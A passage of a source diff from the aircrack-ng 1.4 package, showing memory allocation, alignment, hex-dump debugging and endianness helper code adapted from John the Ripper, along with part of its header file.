+		MEMDBG_PROGRAM_EXIT_CHECKS(stderr);
+		perror("mem_calloc");
+	}
+
+	return res;
+}
+
+/*
+ * if -DDEBUG we turn mem_alloc_tiny() to essentially be just a malloc()
+ * with additional alignment. The reason for this is it's way easier to
+ * trace bugs that way.
+ * Also, with -DDEBUG or -DMEMDBG we always return exactly the requested
+ * alignment, in order to trigger bugs!
+ */
+#ifdef DEBUG
+#undef MEM_ALLOC_SIZE
+#define MEM_ALLOC_SIZE 0
+#endif
+void * mem_alloc_tiny_func(size_t size,
+						   size_t align
+#if defined(MEMDBG_ON)
+						   ,
+						   char * file,
+						   int line
+#endif
+						   )
+{
+	static char * buffer = NULL;
+	static size_t bufree = 0;
+	size_t mask;
+	char * p;
+
+#if defined(DEBUG) || defined(MEMDBG)
+	size += align;
+#endif
+#ifdef DEBUG
+	/*
+	 * We may be called with size zero, for example from ldr_load_pw_line()
+	 * that calls mem_alloc_copy() with format->params.salt_size as size.
+	 * This causes problems with -DDEBUG without this fix because we never
+	 * get out of the while loop when MEM_ALLOC_SIZE is zero too. The
+	 * previous fix for this was returning NULL but that lead to other
+	 * problems that I did not bother digging into. This fix should be
+	 * 100% safe.
+	 */
+	if (size == 0) size = 1;
+#endif
+
+#if ARCH_ALLOWS_UNALIGNED
+	if (mem_saving_level > 2 && align < MEM_ALIGN_SIMD) align = MEM_ALIGN_NONE;
+#endif
+
+	mask = align - 1;
+
+	do
+	{
+		if (buffer)
+		{
+			size_t need = size + mask - (((size_t) buffer + mask) & mask);
+			if (bufree >= need)
+			{
+				p = buffer;
+				p += mask;
+				p -= (size_t) p & mask;
+				bufree -= need;
+				buffer = p + size;
+#if defined(DEBUG) || defined(MEMDBG)
+				/* Ensure alignment is no better than requested */
+				if (((size_t) p & ((mask << 1) + 1)) == 0) p += align;
+#endif
+				return p;
+			}
+		}
+
+		if (size + mask > MEM_ALLOC_SIZE || bufree > MEM_ALLOC_MAX_WASTE) break;
+#if defined(MEMDBG_ON)
+		buffer = (char *) mem_alloc_func(MEM_ALLOC_SIZE, file, line);
+#else
+		buffer = (char *) mem_alloc(MEM_ALLOC_SIZE);
+#endif
+		add_memory_link((void *) buffer);
+		bufree = MEM_ALLOC_SIZE;
+	} while (1);
+
+#if defined(MEMDBG_ON)
+	p = (char *) mem_alloc_func(size + mask, file, line);
+#else
+	p = (char *) mem_alloc(size + mask);
+#endif
+	add_memory_link((void *) p);
+	p += mask;
+	p -= (size_t) p & mask;
+#if defined(DEBUG) || defined(MEMDBG)
+	/* Ensure alignment is no better than requested */
+	if (((size_t) p & ((mask << 1) + 1)) == 0) p += align;
+#endif
+	return p;
+}
+
+void * mem_calloc_tiny_func(size_t size,
+							size_t align
+#if defined(MEMDBG_ON)
+							,
+							char * file,
+							int line
+#endif
+							)
+{
+#if defined(MEMDBG_ON)
+	char * cp = (char *) mem_alloc_tiny_func(size, align, file, line);
+#else
+	char * cp = (char *) mem_alloc_tiny(size, align);
+#endif
+	memset(cp, 0, size);
+	return cp;
+}
+
+void * mem_alloc_copy_func(void * src,
+						   size_t size,
+						   size_t align
+#if defined(MEMDBG_ON)
+						   ,
+						   char * file,
+						   int line
+#endif
+						   )
+{
+#if defined(MEMDBG_ON)
+	return memcpy(mem_alloc_tiny_func(size, align, file, line), src, size);
+#else
+	return memcpy(mem_alloc_tiny(size, align), src, size);
+#endif
+}
+
+void * mem_alloc_align_func(size_t size,
+							size_t align
+#if defined(MEMDBG_ON)
+							,
+							char * file,
+							int line
+#endif
+							)
+{
+	void * ptr = NULL;
+#if defined(MEMDBG_ON)
+	ptr = (char *) MEMDBG_alloc_align(size, align, file, line);
+#elif HAVE_POSIX_MEMALIGN
+	if (posix_memalign(&ptr, align, size)) pexit("posix_memalign");
+#elif HAVE_ALIGNED_ALLOC
+	/* According to the Linux man page, "size should be a multiple of
+	   alignment", whatever they mean with "should"... This does not
+	   make any sense whatsoever but we round it up to comply. */
+	size = ((size + (align - 1)) / align) * align;
+	if (!(ptr = aligned_alloc(align, size))) pexit("aligned_alloc");
+#elif HAVE_MEMALIGN
+/* Let's just pray this implementation can actually free it */
+#if defined(__sparc__) || defined(__sparc) || defined(sparc)                   \
+	|| defined(__sparcv9)
+	if (!(ptr = memalign(align, size)))
+#else
+	if (!(ptr = memalign(&ptr, align, size)))
+#endif
+		perror("memalign");
+#elif HAVE___MINGW_ALIGNED_MALLOC
+	if (!(ptr = __mingw_aligned_malloc(size, align)))
+		perror("__mingw_aligned_malloc");
+#elif HAVE__ALIGNED_MALLOC
+	if (!(ptr = _aligned_malloc(size, align))) perror("aligned_malloc");
+
+#elif AC_BUILT
+#error No suitable aligned alloc found, please report to john-dev mailing list (state your OS details).
+
+/* we need an aligned alloc function for legacy builds */
+#elif _ISOC11_SOURCE
+	size = ((size + (align - 1)) / align) * align;
+	if (!(ptr = aligned_alloc(align, size))) perror("aligned_alloc");
+#else
+	if (posix_memalign(&ptr, align, size)) perror("posix_memalign");
+#endif
+	return ptr;
+}
+
+void * mem_calloc_align_func(size_t count,
+							 size_t size,
+							 size_t align
+#if defined(MEMDBG_ON)
+							 ,
+							 char * file,
+							 int line
+#endif
+							 )
+{
+#if defined(MEMDBG_ON)
+	void * ptr = mem_alloc_align_func(size * count, align, file, line);
+#else
+	void * ptr = mem_alloc_align_func(size * count, align);
+#endif
+
+	memset(ptr, 0, size * count);
+	return ptr;
+}
+
+char * str_alloc_copy_func(char * src
+#if defined(MEMDBG_ON)
+						   ,
+						   char * file,
+						   int line
+#endif
+						   )
+{
+	size_t size;
+
+	if (!src) return "";
+	if (!*src) return "";
+
+	size = strlen(src) + 1;
+#if defined(MEMDBG_ON)
+	return (char *) memcpy(
+		mem_alloc_tiny_func(size, MEM_ALIGN_NONE, file, line), src, size);
+#else
+	return (char *) memcpy(mem_alloc_tiny(size, MEM_ALIGN_NONE), src, size);
+#endif
+}
+
+void dump_text(void * in, int len)
+{
+	unsigned char * p = (unsigned char *) in;
+
+	while (len--)
+	{
+		fputc(isprint(*p) ? *p : '.', stdout);
+		p++;
+	}
+	fputc('\n', stdout);
+}
+
+void dump_stuff_noeol(void * x, unsigned int size)
+{
+	unsigned int i;
+	for (i = 0; i < size; i++)
+	{
+		printf("%.2x", ((unsigned char *) x)[i]);
+		if ((i % 4) == 3) printf(" ");
+	}
+}
+void dump_stuff(void * x, unsigned int size)
+{
+	dump_stuff_noeol(x, size);
+	printf("\n");
+}
+void dump_stuff_msg(const void * msg, void * x, unsigned int size)
+{
+	printf("%s : ", (char *) msg);
+	dump_stuff(x, size);
+}
+void dump_stuff_msg_sepline(const void * msg, void * x, unsigned int size)
+{
+	printf("%s :\n", (char *) msg);
+	dump_stuff(x, size);
+}
+
+void dump_stuff_be_noeol(void * x, unsigned int size)
+{
+	unsigned int i;
+	for (i = 0; i < size; i++)
+	{
+		printf("%.2x", ((unsigned char *) x)[i ^ 3]);
+		if ((i % 4) == 3) printf(" ");
+	}
+}
+void dump_stuff_be(void * x, unsigned int size)
+{
+	dump_stuff_be_noeol(x, size);
+	printf("\n");
+}
+void dump_stuff_be_msg(const void * msg, void * x, unsigned int size)
+{
+	printf("%s : ", (char *) msg);
+	dump_stuff_be(x, size);
+}
+void dump_stuff_be_msg_sepline(const void * msg, void * x, unsigned int size)
+{
+	printf("%s :\n", (char *) msg);
+	dump_stuff_be(x, size);
+}
+
+void alter_endianity(void * _x, unsigned int size)
+{
+	ARCH_WORD_32 * x = (ARCH_WORD_32 *) _x;
+
+	// size is in octets
+	size >>= 2;
+
+#if !ARCH_ALLOWS_UNALIGNED
+	if (is_aligned(x, sizeof(ARCH_WORD_32)))
+	{
+#endif
+		while (size--)
+		{
+			*x = JOHNSWAP(*x);
+			x++;
+		}
+#if !ARCH_ALLOWS_UNALIGNED
+	}
+	else
+	{
+		unsigned char *cpX, c;
+
+		cpX = (unsigned char *) x;
+		while (size--)
+		{
+			c = *cpX;
+			*cpX = cpX[3];
+			cpX[3] = c;
+			c = cpX[1];
+			cpX[1] = cpX[2];
+			cpX[2] = c;
+			cpX += 4;
+		}
+	}
+#endif
+}
+
+#if defined(SIMD_COEF_32) || defined(NT_X86_64) || defined(SIMD_PARA_MD5)      \
+	|| defined(SIMD_PARA_MD4) || defined(SIMD_PARA_SHA1)
+#ifndef SIMD_COEF_32
+#define SIMD_COEF_32 4
+#endif
+#ifndef SIMD_COEF_64
+#define SIMD_COEF_64 2
+#endif
+#ifndef SIMD_COEF_32
+#define SIMD_COEF_32 4
+#endif
+
+// These work for standard SIMD_COEF_32 buffers, AND for SSEi MMX_PARA multiple
+// SIMD_COEF_32 blocks, where index will be mod(X * SIMD_COEF_32) and not simply
+// mod(SIMD_COEF_32)
+#define SHAGETPOS(i, index)                                                    \
+	((index & (SIMD_COEF_32 - 1)) * 4                                          \
+	 + ((i) & (0xffffffff - 3)) * SIMD_COEF_32                                 \
+	 + (3 - ((i) &3))                                                          \
+	 + (unsigned int) index / SIMD_COEF_32 * SHA_BUF_SIZ * 4                   \
+		   * SIMD_COEF_32) // for endianity conversion
+#define SHAGETOUTPOS(i, index)                                                 \
+	((index & (SIMD_COEF_32 - 1)) * 4                                          \
+	 + ((i) & (0xffffffff - 3)) * SIMD_COEF_32                                 \
+	 + (3 - ((i) &3))                                                          \
+	 + (unsigned int) index / SIMD_COEF_32 * 20                                \
+		   * SIMD_COEF_32) // for endianity conversion
+// for MD4/MD5 or any 64 byte LE SSE interleaved hash
+#define GETPOS(i, index)                                                       \
+	((index & (SIMD_COEF_32 - 1)) * 4                                          \
+	 + ((i) & (0xffffffff - 3)) * SIMD_COEF_32                                 \
+	 + ((i) &3)                                                                \
+	 + (unsigned int) index / SIMD_COEF_32 * 64 * SIMD_COEF_32)
+#define GETOUTPOS(i, index)                                                    \
+	((index & (SIMD_COEF_32 - 1)) * 4                                          \
+	 + ((i) & (0xffffffff - 3)) * SIMD_COEF_32                                 \
+	 + ((i) &3)                                                                \
+	 + (unsigned int) index / SIMD_COEF_32 * 16 * SIMD_COEF_32)
+// for SHA384/SHA512 128 byte BE interleaved hash (arrays of 16 8 byte ints)
+#define SHA64GETPOS(i, index)                                                  \
+	((index & (SIMD_COEF_64 - 1)) * 8                                          \
+	 + ((i) & (0xffffffff - 7)) * SIMD_COEF_64                                 \
+	 + (7 - ((i) &7))                                                          \
+	 + (unsigned int) index / SIMD_COEF_64 * SHA_BUF_SIZ * 8 * SIMD_COEF_64)
+#define SHA64GETOUTPOS(i, index)                                               \
+	((index & (SIMD_COEF_64 - 1)) * 8                                          \
+	 + ((i) & (0xffffffff - 7)) * SIMD_COEF_64                                 \
+	 + (7 - ((i) &7))                                                          \
+	 + (unsigned int) index / SIMD_COEF_64 * 64 * SIMD_COEF_64)
+
+// for SHA384/SHA512 128 byte FLAT interleaved hash (arrays of 16 8 byte ints),
+// but we do not BE interleave.
+#define SHA64GETPOSne(i, index)                                                \
+	((index & (SIMD_COEF_64 - 1)) * 8                                          \
+	 + ((i) & (0xffffffff - 7)) * SIMD_COEF_64                                 \
+	 + ((i) &7)                                                                \
+	 + (unsigned int) index / SIMD_COEF_64 * SHA_BUF_SIZ * 8 * SIMD_COEF_64)
+
+void dump_stuff_mmx_noeol(void * buf, unsigned int size, unsigned int index)
+{
+	unsigned int i;
+	for (i = 0; i < size; i++)
+	{
+		printf("%.2x", ((unsigned char *) buf)[GETPOS(i, index)]);
+		if ((i % 4) == 3) printf(" ");
+	}
+}
+void dump_stuff_mmx(void * buf, unsigned int size, unsigned int index)
+{
+	dump_stuff_mmx_noeol(buf, size, index);
+	printf("\n");
+}
+void dump_stuff_mmx_msg(const void * msg,
+						void * buf,
+						unsigned int size,
+						unsigned int index)
+{
+	printf("%s : ", (char *) msg);
+	dump_stuff_mmx(buf, size, index);
+}
+void dump_stuff_mmx_msg_sepline(const void * msg,
+								void * buf,
+								unsigned int size,
+								unsigned int index)
+{
+	printf("%s :\n", (char *) msg);
+	dump_stuff_mmx(buf, size, index);
+}
+void dump_out_mmx_noeol(void * buf, unsigned int size, unsigned int index)
+{
+	unsigned int i;
+	for (i = 0; i < size; i++)
+	{
+		printf("%.2x", ((unsigned char *) buf)[GETOUTPOS(i, index)]);
+		if ((i % 4) == 3) printf(" ");
+	}
+}
+void dump_out_mmx(void * buf, unsigned int size, unsigned int index)
+{
+	dump_out_mmx_noeol(buf, size, index);
+	printf("\n");
+}
+void dump_out_mmx_msg(const void * msg,
+					  void * buf,
+					  unsigned int size,
+					  unsigned int index)
+{
+	printf("%s : ", (char *) msg);
+	dump_out_mmx(buf, size, index);
+}
+void dump_out_mmx_msg_sepline(const void * msg,
+							  void * buf,
+							  unsigned int size,
+							  unsigned int index)
+{
+	printf("%s :\n", (char *) msg);
+	dump_out_mmx(buf, size, index);
+}
+
+#if defined(SIMD_PARA_MD5)
+#define GETPOSMPARA(i, index)                                                  \
+	((index & (SIMD_COEF_32 - 1)) * 4                                          \
+	 + (((i) & (0xffffffff - 3)) % 64) * SIMD_COEF_32                          \
+	 + (i / 64) * SIMD_COEF_32 * SIMD_PARA_MD5 * 64                            \
+	 + ((i) &3)                                                                \
+	 + (unsigned int) index / SIMD_COEF_32 * 64 * SIMD_COEF_32)
+// multiple para blocks
+void dump_stuff_mpara_mmx_noeol(void * buf,
+								unsigned int size,
+								unsigned int index)
+{
+	unsigned int i;
+	for (i = 0; i < size; i++)
+	{
+		printf("%.2x", ((unsigned char *) buf)[GETPOSMPARA(i, index)]);
+		if ((i % 4) == 3) printf(" ");
+	}
+}
+void dump_stuff_mpara_mmx(void * buf, unsigned int size, unsigned int index)
+{
+	dump_stuff_mpara_mmx_noeol(buf, size, index);
+	printf("\n");
+}
+// obuf has to be at lease size long.  This function will unwind the SSE-para
+// buffers into a flat.
+void getbuf_stuff_mpara_mmx(unsigned char * oBuf,
+							void * buf,
+							unsigned int size,
+							unsigned int index)
+{
+	unsigned int i;
+	for (i = 0; i < size; i++)
+		*oBuf++ = ((unsigned char *) buf)[GETPOSMPARA(i, index)];
+}
+void dump_stuff_mpara_mmx_msg(const void * msg,
+							  void * buf,
+							  unsigned int size,
+							  unsigned int index)
+{
+	printf("%s : ", (char *) msg);
+	dump_stuff_mpara_mmx(buf, size, index);
+}
+void dump_stuff_mpara_mmx_msg_sepline(const void * msg,
+									  void * buf,
+									  unsigned int size,
+									  unsigned int index)
+{
+	printf("%s :\n", (char *) msg);
+	dump_stuff_mpara_mmx(buf, size, index);
+}
+#endif
+
+void dump_stuff_shammx(void * buf, unsigned int size, unsigned int index)
+{
+	unsigned int i;
+	for (i = 0; i < size; i++)
+	{
+		printf("%.2x", ((unsigned char *) buf)[SHAGETPOS(i, index)]);
+		if ((i % 4) == 3) printf(" ");
+	}
+	printf("\n");
+}
+void dump_stuff_shammx_msg(const void * msg,
+						   void * buf,
+						   unsigned int size,
+						   unsigned int index)
+{
+	printf("%s : ", (char *) msg);
+	dump_stuff_shammx(buf, size, index);
+}
+void dump_out_shammx(void * buf, unsigned int size, unsigned int index)
+{
+	unsigned int i;
+	for (i = 0; i < size; i++)
+	{
+		printf("%.2x", ((unsigned char *) buf)[SHAGETOUTPOS(i, index)]);
+		if ((i % 4) == 3) printf(" ");
+	}
+	printf("\n");
+}
+void dump_out_shammx_msg(const void * msg,
+						 void * buf,
+						 unsigned int size,
+						 unsigned int index)
+{
+	printf("%s : ", (char *) msg);
+	dump_out_shammx(buf, size, index);
+}
+
+void dump_stuff_shammx64(void * buf, unsigned int size, unsigned int index)
+{
+	unsigned int i;
+	for (i = 0; i < size; i++)
+	{
+		printf("%.2x", ((unsigned char *) buf)[SHA64GETPOS(i, index)]);
+		if ((i % 4) == 3) printf(" ");
+	}
+	printf("\n");
+}
+void dump_stuff_shammx64_msg(const void * msg,
+							 void * buf,
+							 unsigned int size,
+							 unsigned int index)
+{
+	printf("%s : ", (char *) msg);
+	dump_stuff_shammx64(buf, size, index);
+}
+void dump_stuff_mmx64(void * buf, unsigned int size, unsigned int index)
+{
+	unsigned int i;
+	for (i = 0; i < size; i++)
+	{
+		printf("%.2x", ((unsigned char *) buf)[SHA64GETPOSne(i, index)]);
+		if ((i % 4) == 3) printf(" ");
+	}
+	printf("\n");
+}
+void dump_stuff_mmx64_msg(const void * msg,
+						  void * buf,
+						  unsigned int size,
+						  unsigned int index)
+{
+	printf("%s : ", (char *) msg);
+	dump_stuff_mmx64(buf, size, index);
+}
+
+void dump_out_shammx64(void * buf, unsigned int size, unsigned int index)
+{
+	unsigned int i;
+	for (i = 0; i < size; i++)
+	{
+		printf("%.2x", ((unsigned char *) buf)[SHA64GETOUTPOS(i, index)]);
+		if ((i % 4) == 3) printf(" ");
+	}
+	printf("\n");
+}
+void dump_out_shammx64_msg(const void * msg,
+						   void * buf,
+						   unsigned int size,
+						   unsigned int index)
+{
+	printf("%s : ", (char *) msg);
+	dump_out_shammx64(buf, size, index);
+}
+#endif
+
+void alter_endianity_w(void * _x, unsigned int count)
+{
+	int i = -1;
+	ARCH_WORD_32 * x = (ARCH_WORD_32 *) _x;
+#if ARCH_ALLOWS_UNALIGNED
+	while (++i < (int) count)
+	{
+		x[i] = JOHNSWAP(x[i]);
+	}
+#else
+	unsigned char *cpX, c;
+	if (is_aligned(x, sizeof(ARCH_WORD_32)))
+	{
+		// we are in alignment.
+		while (++i < (int) count)
+		{
+			x[i] = JOHNSWAP(x[i]);
+		}
+		return;
+	}
+	// non-aligned data :(
+	cpX = (unsigned char *) x;
+	while (++i < (int) count)
+	{
+		c = *cpX;
+		*cpX = cpX[3];
+		cpX[3] = c;
+		c = cpX[1];
+		cpX[1] = cpX[2];
+		cpX[2] = c;
+		cpX += 4;
+	}
+#endif
+}
+
+void alter_endianity_w64(void * _x, unsigned int count)
+{
+	int i = -1;
+	ARCH_WORD_64 * x = (ARCH_WORD_64 *) _x;
+#if ARCH_ALLOWS_UNALIGNED
+	while (++i < (int) count)
+	{
+		x[i] = JOHNSWAP64(x[i]);
+	}
+#else
+	unsigned char *cpX, c;
+	if (is_aligned(x, sizeof(ARCH_WORD_64)))
+	{
+		// we are in alignment.
+		while (++i < (int) count)
+		{
+			x[i] = JOHNSWAP64(x[i]);
+		}
+		return;
+	}
+	// non-aligned data :(
+	cpX = (unsigned char *) x;
+	while (++i < (int) count)
+	{
+		c = *cpX;
+		*cpX = cpX[7];
+		cpX[7] = c;
+		c = cpX[1];
+		cpX[1] = cpX[6];
+		cpX[6] = c;
+		c = cpX[2];
+		cpX[2] = cpX[5];
+		cpX[5] = c;
+		c = cpX[3];
+		cpX[3] = cpX[4];
+		cpX[4] = c;
+		cpX += 8;
+	}
+#endif
+}

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/memory.h Added

@@ -0,0 +1,464 @@
+/*
+ * Based on John the Ripper and modified to integrate with aircrack
+ *
+ * 	John the Ripper copyright and license.
+ *
+ * John the Ripper password cracker,
+ * Copyright (c) 1996-2013 by Solar Designer.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * As a special exception to the GNU General Public License terms,
+ * permission is hereby granted to link the code of this program, with or
+ * without modification, with any version of the OpenSSL library and/or any
+ * version of unRAR, and to distribute such linked combinations.  You must
+ * obey the GNU GPL in all respects for all of the code used other than
+ * OpenSSL and unRAR.  If you modify this program, you may extend this
+ * exception to your version of the program, but you are not obligated to
+ * do so.  (In other words, you may release your derived work under pure
+ * GNU GPL version 2 or later as published by the FSF.)
+ *
+ * (This exception from the GNU GPL is not required for the core tree of
+ * John the Ripper, but arguably it is required for -jumbo.)
+ *
+ * 	Relaxed terms for certain components.
+ *
+ * In addition or alternatively to the license above, many components are
+ * available to you under more relaxed terms (most commonly under cut-down
+ * BSD license) as specified in the corresponding source files.
+ *
+ * For more information on John the Ripper licensing please visit:
+ *
+ * http://www.openwall.com/john/doc/LICENSE.shtml
+ *
+ * This file is part of John the Ripper password cracker,
+ * Copyright (c) 1996-98,2003,2010-2012 by Solar Designer
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted.
+ *
+ * There's ABSOLUTELY NO WARRANTY, express or implied.
+ */
+
+/*
+ * Memory allocation routines.
+ */
+
+#ifndef _MEMORY_H
+#define _MEMORY_H
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+#include "arch.h"
+
+#if __AVX512F__
+#define SIMD_COEF_32 16
+#define SIMD_COEF_64 8
+#elif __AVX2__
+#define SIMD_COEF_32 8
+#define SIMD_COEF_64 4
+#elif __SSE2__
+#define SIMD_COEF_32 4
+#define SIMD_COEF_64 2
+#endif
+
+/*
+ * Standard alignments for mem_alloc_tiny().
+ */
+#define MEM_ALIGN_NONE 1
+#define MEM_ALIGN_WORD ARCH_SIZE
+/*
+ * These are hopefully suitable guesses.  They are right for only a subset of
+ * the architectures/CPUs we support, yet our use of them does not require that
+ * they be entirely correct.
+ */
+#ifdef _MSC_VER
+#define MEM_ALIGN_CACHE 64
+#else
+#define MEM_ALIGN_CACHE (ARCH_SIZE * 8)
+#endif
+#define MEM_ALIGN_PAGE 0x1000
+
+/*
+ * SIMD buffers need to be aligned to register size
+ */
+#if SIMD_COEF_32
+#ifdef _MSC_VER
+#define MEM_ALIGN_SIMD 16
+#else
+#define MEM_ALIGN_SIMD (SIMD_COEF_32 * 4)
+#endif
+#else
+#define MEM_ALIGN_SIMD (16)
+#endif
+
+/*
+ * Block size used by mem_alloc_tiny().
+ */
+#define MEM_ALLOC_SIZE 0x10000
+
+/*
+ * Use mem_alloc() instead of allocating a new block in mem_alloc_tiny()
+ * if more than MEM_ALLOC_MAX_WASTE bytes would be lost.
+ * This shouldn't be set too small, or mem_alloc_tiny() will keep calling
+ * mem_alloc() for many allocations in a row, which might end up wasting even
+ * more memory to malloc() overhead.
+ */
+#define MEM_ALLOC_MAX_WASTE 0xff
+
+/*
+ * Memory saving level, setting this high enough disables alignments (if the
+ * architecture allows).
+ */
+extern unsigned int mem_saving_level;
+
+/*
+ * Allocates size bytes and returns a pointer to the allocated memory.
+ * If an error occurs, the function does not return.
+ */
+extern void * mem_alloc_func(size_t size
+#if defined(MEMDBG_ON)
+							 ,
+							 char * file,
+							 int line
+#endif
+							 );
+/*
+ * this version same as mem_alloc, but initialized the memory
+ * to NULL bytes, like CALLOC(3) function does
+ */
+extern void * mem_calloc_func(size_t count,
+							  size_t size
+#if defined(MEMDBG_ON)
+							  ,
+							  char * file,
+							  int line
+#endif
+							  );
+
+#if defined(MEMDBG_ON)
+#define mem_alloc(a) mem_alloc_func(a, __FILE__, __LINE__)
+#define mem_calloc(a, b) mem_calloc_func(a, b, __FILE__, __LINE__)
+#define mem_alloc_tiny(a, b) mem_alloc_tiny_func(a, b, __FILE__, __LINE__)
+#define mem_calloc_tiny(a, b) mem_calloc_tiny_func(a, b, __FILE__, __LINE__)
+#define mem_alloc_copy(a, b, c) mem_alloc_copy_func(a, b, c, __FILE__, __LINE__)
+#define str_alloc_copy(a) str_alloc_copy_func(a, __FILE__, __LINE__)
+#define mem_alloc_align(a, b) mem_alloc_align_func(a, b, __FILE__, __LINE__)
+#define mem_calloc_align(a, b, c)                                              \
+	mem_calloc_align_func(a, b, c, __FILE__, __LINE__)
+#else
+#define mem_alloc(a) mem_alloc_func(a)
+#define mem_calloc(a, b) mem_calloc_func(a, b)
+#define mem_alloc_tiny(a, b) mem_alloc_tiny_func(a, b)
+#define mem_calloc_tiny(a, b) mem_calloc_tiny_func(a, b)
+#define mem_alloc_copy(a, b, c) mem_alloc_copy_func(a, b, c)
+#define str_alloc_copy(a) str_alloc_copy_func(a)
+#define mem_alloc_align(a, b) mem_alloc_align_func(a, b)
+#define mem_calloc_align(a, b, c) mem_calloc_align_func(a, b, c)
+#endif
+
+/* These allow alignment and are wrappers to system-specific functions */
+void * mem_alloc_align_func(size_t size,
+							size_t align
+#if defined(MEMDBG_ON)
+							,
+							char * file,
+							int line
+#endif
+							);
+
+void * mem_calloc_align_func(size_t count,
+							 size_t size,
+							 size_t align
+#if defined(MEMDBG_ON)
+							 ,
+							 char * file,
+							 int line
+#endif
+							 );
+
+/*
+ * Frees memory allocated with mem_alloc() and sets the pointer to NULL.
+ * Does nothing if the pointer is already NULL.
+ */
+#undef MEM_FREE
+
+#ifdef _MSC_VER
+#if !defined(MEMDBG_ON)
+#define strdup(a) strdup_MSVC(a)
+char * strdup_MSVC(const char * str);
+#define MEM_FREE(ptr)                                                          \
+	{                                                                          \
+		if ((ptr))                                                             \
+		{                                                                      \
+			_aligned_free((ptr));                                              \
+			(ptr) = NULL;                                                      \
+		}                                                                      \
+	}
+#else
+#define MEM_FREE(ptr)                                                          \
+	{                                                                          \
+		if ((ptr))                                                             \
+		{                                                                      \
+			MEMDBG_free(((const void *) ptr), __FILE__, __LINE__);             \
+			(ptr) = NULL;                                                      \
+		}                                                                      \
+	}
+#endif
+
+#else
+#define MEM_FREE(ptr)                                                          \
+	{                                                                          \
+		if ((ptr))                                                             \
+		{                                                                      \
+			free((ptr));                                                       \
+			(ptr) = NULL;                                                      \
+		}                                                                      \
+	}
+#endif
+
+/*
+ * Similar to the above function, except the memory can't be freed.
+ * This one is used to reduce the overhead.
+ */
+extern void * mem_alloc_tiny_func(size_t size,
+								  size_t align
+#if defined(MEMDBG_ON)
+								  ,
+								  char * file,
+								  int line
+#endif
+								  );
+
+/*
+ * this version same as mem_alloc_tiny, but initialized the memory
+ * to NULL bytes, like CALLOC(3) function does
+ */
+extern void * mem_calloc_tiny_func(size_t size,
+								   size_t align
+#if defined(MEMDBG_ON)
+								   ,
+								   char * file,
+								   int line
+#endif
+								   );
+
+/*
+ * Uses mem_alloc_tiny() to allocate the memory, and copies src in there.
+ */
+extern void * mem_alloc_copy_func(void * src,
+								  size_t size,
+								  size_t align
+#if defined(MEMDBG_ON)
+								  ,
+								  char * file,
+								  int line
+#endif
+								  );
+
+/*
+ * Similar to the above function, but for ASCIIZ strings.
+ */
+extern char * str_alloc_copy_func(char * src
+#if defined(MEMDBG_ON)
+								  ,
+								  char * file,
+								  int line
+#endif
+								  );
+
+/*
+ * This will 'cleanup' the memory allocated by mem_alloc_tiny().  All
+ * of that memory was 'blindly' allocated, and not freed up during
+ * the run of john.  Now, it is 'cleaned' up.
+ */
+extern void cleanup_tiny_memory(void);
+
+void dump_text(void * in, int len);
+void dump_stuff(void * x, unsigned int size);
+void dump_stuff_msg(const void * msg, void * x, unsigned int size);
+void dump_stuff_noeol(void * x, unsigned int size);
+void dump_stuff_msg_sepline(const void * msg, void * x, unsigned int size);
+void dump_stuff_be(void * x, unsigned int size);
+void dump_stuff_be_msg(const void * msg, void * x, unsigned int size);
+void dump_stuff_be_noeol(void * x, unsigned int size);
+void dump_stuff_be_msg_sepline(const void * msg, void * x, unsigned int size);
+
+#if defined(SIMD_COEF_32) || defined(NT_X86_64) || defined(SIMD_PARA_MD5)      \
+	|| defined(SIMD_PARA_MD4) || defined(SIMD_PARA_SHA1)
+void dump_stuff_mmx(void * x, unsigned int size, unsigned int index);
+void dump_stuff_mmx_noeol(void * x, unsigned int size, unsigned int index);
+void dump_stuff_mmx_msg(const void * msg,
+						void * buf,
+						unsigned int size,
+						unsigned int index);
+void dump_stuff_mmx_msg_sepline(const void * msg,
+								void * buf,
+								unsigned int size,
+								unsigned int index);
+// for flat input, we do want to see SHA512 without byte swapping.
+void dump_stuff_mmx64(void * buf, unsigned int size, unsigned int index);
+void dump_stuff_mmx64_msg(const void * msg,
+						  void * buf,
+						  unsigned int size,
+						  unsigned int index);
+void dump_out_mmx(void * x, unsigned int size, unsigned int index);
+void dump_out_mmx_noeol(void * x, unsigned int size, unsigned int index);
+void dump_out_mmx_msg(const void * msg,
+					  void * buf,
+					  unsigned int size,
+					  unsigned int index);
+void dump_out_mmx_msg_sepline(const void * msg,
+							  void * buf,
+							  unsigned int size,
+							  unsigned int index);
+void dump_stuff_shammx(void * x, unsigned int size, unsigned int index);
+void dump_stuff_shammx_msg(const void * msg,
+						   void * buf,
+						   unsigned int size,
+						   unsigned int index);
+void dump_out_shammx(void * x, unsigned int size, unsigned int index);
+void dump_out_shammx_msg(const void * msg,
+						 void * buf,
+						 unsigned int size,
+						 unsigned int index);
+void dump_stuff_shammx64(void * x, unsigned int size, unsigned int index);
+void dump_stuff_shammx64_msg(const void * msg,
+							 void * buf,
+							 unsigned int size,
+							 unsigned int index);
+void dump_out_shammx64(void * x, unsigned int size, unsigned int index);
+void dump_out_shammx64_msg(const void * msg,
+						   void * buf,
+						   unsigned int size,
+						   unsigned int index);
+#endif
+
+#if defined(SIMD_PARA_MD5)
+// these functions help debug arrays of contiguous MD5 prepared PARA buffers.
+// Seen in sunmd5 at the current time.
+void dump_stuff_mpara_mmx(void * x, unsigned int size, unsigned int index);
+void dump_stuff_mpara_mmx_noeol(void * x,
+								unsigned int size,
+								unsigned int index);
+void dump_stuff_mpara_mmx_msg(const void * msg,
+							  void * buf,
+							  unsigned int size,
+							  unsigned int index);
+void dump_stuff_mpara_mmx_msg_sepline(const void * msg,
+									  void * buf,
+									  unsigned int size,
+									  unsigned int index);
+// a 'getter' to help debugging.  Returns a flat buffer, vs printing it out.
+void getbuf_stuff_mpara_mmx(unsigned char * oBuf,
+							void * buf,
+							unsigned int size,
+							unsigned int index);
+#endif
+
+/*
+ * here, a stack buffer that is at least align-1 bytes LARGER than required, can
+ * be
+ * properly aligned to 'align' bytes. So:   char tmpbuf[256+15],
